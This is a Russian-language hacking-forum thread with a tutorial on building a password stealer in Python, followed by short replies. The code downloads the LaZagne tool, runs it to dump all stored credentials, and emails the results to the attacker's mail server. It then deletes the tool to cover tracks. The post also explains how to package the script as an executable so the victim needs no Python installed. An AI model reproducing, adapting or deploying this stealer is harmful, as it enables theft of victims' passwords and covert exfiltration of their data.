LIMB
Вход Регистрация

тема

[Python] - Пишем свой Стиллер с LaZagne.

hackcore · · 5 ответов · 2.3к просмотров

Приветствую всех форумчан!

Решил сегодня показать простую реализацию стиллера на Python'е с помощью вceизвecтного стиллера паролей - LaZagne.
( Подробнее: https://github.com/AlessandroZ/LaZagne)
Это моя первая обучающая тема, просьба не критиковать. Если будет отдача и вам зайдёт, то буду готовить ещё много интересного на Питоне.


Итак, приступим...
( Код не сложный, постараюсь максимально понятно объяснить каждую строку )


Python:
import subprocess # выполнение команд в шелле
import smtplib # работа с почтой
import requests # работа с http запросами
import tempfile # работа с временными файлами ( Нужна, чтобы направить lazagne.exe в правильное место )
import os # работа с ОС

def get_file(url): # создадим функцию, которая получит конечный файл с LaZagne.exe
r = requests.get(url) # создадим запрос
file_name = url.split('/')[-1] # отсекаем http://github.com/ и в итоге получаем конечное название файла - lazagne.exe
with open(file_name, 'wb') as file: # открываем файл в локальной переменной file
file.write(r.content) # пишем содержимое в файл

def send(email, password, message): # создадим функцию, которая будет отправлять логи
server = smtplib.SMTP('smtp.mail.ru', 587) # подключимся к smtp майла ( можно и smtp.gmail.com ) через порт 587
server.starttls() # стартуем соединение с шифрованием tls
server.login(email, password) # логинимся в майл
server.sendmail(email, email, message) # отправляем письмо
server.quit() # закрываем сессию

temp_dir = tempfile.gettempdir() # передадим в эту переменную путь к tmp ( временным файлам, где и хранятся пароли )
os.chdir(temp_dir) # сменим директорию в наши временные файлы
get_file('https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe&#39 # скачаем файл lazagne.exe по правилам в нашей функции
result = subprocess.check_output('lazagne.exe all', shell=True) # передадим в эту переменную команду запуска lazagne.exe ( ключ 'all' извлекает абсолютно все пароли в системе, атрибут shell=True предоставляет доступ к шеллу )
send('ваш_майл@mail.ru', 'ваш пароль', result) # отправляем логи
os.remove('lazagne.exe') # удалям наш файл ( заметаем следы )


В дальнейшем, можно конвертировать наш стиллер с .exe с помощью библеотеки pyinstaller ( https://pypi.org/project/PyInstaller/ ).
Просто в командной строке ( в windows системе ) пишем pyinstaller -F наш_стиллер.py . Жертве даже не придётся устанавливать интерпретатор Пайтона и библеотеки.
👍319 😁64 😮46 👏43 👎42
это лоадер называется
👍11 ❤️1 👏1 💯1 👎1
Ты имеешь виду про LaZagne?
👍8 🔥1 😁2 👎1
я имею ввиду то, что ты написал
👍11 ❤️1 😁1 😮1 👎2
Эмм... идея моя! Если копипаст, то покажи хоть пруфы. Да и вообще, эта штука очень легкая в реализации, тоже самое что создать функцию, которая будет выводить Hello world.
👍5
куда приходят данные
👍13 ❤️1 😮1 👏2 👎3

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.